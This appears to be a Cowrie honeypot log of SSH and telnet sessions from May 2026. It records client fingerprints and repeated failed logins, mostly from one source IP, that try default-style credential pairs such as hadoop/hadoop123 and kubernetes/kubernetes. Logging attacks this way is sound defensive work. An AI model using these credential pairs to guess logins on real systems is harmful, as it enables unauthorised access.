{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:46.869007Z","src_ip":"83.168.110.85","session":"1f383a12a876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:47.232351Z","src_ip":"83.168.110.85","session":"1f383a12a876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:48.628726Z","src_ip":"83.168.110.85","session":"1f383a12a876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47756,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aa9d99baf1b","protocol":"ssh","message":"New connection: 83.168.110.85:47756 (10.17.0.5:22) [session: 5aa9d99baf1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:53.671881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:53.677341Z","src_ip":"83.168.110.85","session":"5aa9d99baf1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:53.799763Z","src_ip":"83.168.110.85","session":"5aa9d99baf1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:54.172294Z","src_ip":"83.168.110.85","session":"5aa9d99baf1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:55.638406Z","src_ip":"83.168.110.85","session":"5aa9d99baf1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33004,"dst_ip":"10.17.0.5","dst_port":22,"session":"a92c0d6d4a4e","protocol":"ssh","message":"New connection: 83.168.110.85:33004 (10.17.0.5:22) [session: a92c0d6d4a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:00.754226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:00.759019Z","src_ip":"83.168.110.85","session":"a92c0d6d4a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:00.880038Z","src_ip":"83.168.110.85","session":"a92c0d6d4a4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:01.421309Z","src_ip":"83.168.110.85","session":"a92c0d6d4a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37996,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d09ec0911d7","protocol":"telnet","message":"New connection: 152.42.224.71:37996 (10.17.0.5:23) [session: 4d09ec0911d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:01.625813Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:02.546891Z","src_ip":"83.168.110.85","session":"a92c0d6d4a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50368,"dst_ip":"10.17.0.5","dst_port":22,"session":"983ca374e36f","protocol":"ssh","message":"New connection: 83.168.110.85:50368 (10.17.0.5:22) [session: 983ca374e36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:07.742027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:07.873749Z","src_ip":"83.168.110.85","session":"983ca374e36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:07.878724Z","src_ip":"83.168.110.85","session":"983ca374e36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:08.476528Z","src_ip":"83.168.110.85","session":"983ca374e36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:09.734875Z","src_ip":"83.168.110.85","session":"983ca374e36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40344,"dst_ip":"10.17.0.5","dst_port":22,"session":"231beb073ac9","protocol":"ssh","message":"New connection: 83.168.110.85:40344 (10.17.0.5:22) [session: 231beb073ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:15.088424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:15.093855Z","src_ip":"83.168.110.85","session":"231beb073ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:15.211448Z","src_ip":"83.168.110.85","session":"231beb073ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:15.684799Z","src_ip":"83.168.110.85","session":"231beb073ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:16.952947Z","src_ip":"83.168.110.85","session":"231beb073ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.90603542327881,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:17.931533Z","src_ip":"152.42.224.71","session":"40350bdd21b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40356,"dst_ip":"10.17.0.5","dst_port":22,"session":"8644d5ab480a","protocol":"ssh","message":"New connection: 83.168.110.85:40356 (10.17.0.5:22) [session: 8644d5ab480a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:21.942330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:21.947045Z","src_ip":"83.168.110.85","session":"8644d5ab480a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:22.067592Z","src_ip":"83.168.110.85","session":"8644d5ab480a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:22.444028Z","src_ip":"83.168.110.85","session":"8644d5ab480a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":57140,"dst_ip":"159.203.135.109","dst_port":22,"session":"c77ed68f2947","protocol":"ssh","message":"New connection: 80.94.92.171:57140 (159.203.135.109:22) [session: c77ed68f2947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:22.894423Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:22.999504Z","src_ip":"80.94.92.171","session":"c77ed68f2947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:23.565811Z","src_ip":"83.168.110.85","session":"8644d5ab480a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":47984,"dst_ip":"159.203.135.109","dst_port":22,"session":"61c4344b08c2","protocol":"ssh","message":"New connection: 103.27.238.116:47984 (159.203.135.109:22) [session: 61c4344b08c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:27.071463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:27.077344Z","src_ip":"103.27.238.116","session":"61c4344b08c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:27.337392Z","src_ip":"103.27.238.116","session":"61c4344b08c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"legion","message":"login attempt [root/legion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:28.118339Z","src_ip":"103.27.238.116","session":"61c4344b08c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35094,"dst_ip":"10.17.0.5","dst_port":22,"session":"828625626a75","protocol":"ssh","message":"New connection: 83.168.110.85:35094 (10.17.0.5:22) [session: 828625626a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:28.896472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:28.905180Z","src_ip":"83.168.110.85","session":"828625626a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:29.026289Z","src_ip":"83.168.110.85","session":"828625626a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:29.381379Z","src_ip":"103.27.238.116","session":"61c4344b08c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:29.559447Z","src_ip":"83.168.110.85","session":"828625626a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:30.689978Z","src_ip":"83.168.110.85","session":"828625626a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60348,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eaa234c6be9","protocol":"ssh","message":"New connection: 83.168.110.85:60348 (10.17.0.5:22) [session: 9eaa234c6be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:36.324353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:36.329442Z","src_ip":"83.168.110.85","session":"9eaa234c6be9","protocol":"ssh"}
